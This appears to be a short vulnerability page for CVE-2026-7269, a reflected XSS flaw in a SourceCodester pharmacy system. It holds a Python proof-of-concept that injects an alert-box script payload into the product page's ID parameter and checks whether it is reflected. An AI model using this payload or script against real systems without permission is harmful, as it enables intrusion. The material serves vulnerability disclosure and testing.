CVE-2026-7269 SourceCodester药房系统XSS漏洞

import requests def verify_xss(target_url): """ PoC for CVE-2026-7269 Checks if the 'ID' parameter in the product page is vulnerable to XSS. """ # The vulnerable endpoint endpoint = "/index.php" # Payload attempting to execute an alert box payload = "<script>alert('CVE-2026-7269')</script>" # Parameters to send params = { "page": "product", "ID": payload } try: # Send GET request to the target response = requests.get(target_url + endpoint, params=params, timeout=10) # Check if the payload is reflected unencoded in the response if payload in response.text: print("[+] Vulnerability confirmed! The payload was reflected in the response.") print(f"[+] Target URL: {response.url}") else: print("[-] Vulnerability not confirmed or payload was filtered.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" verify_xss(target)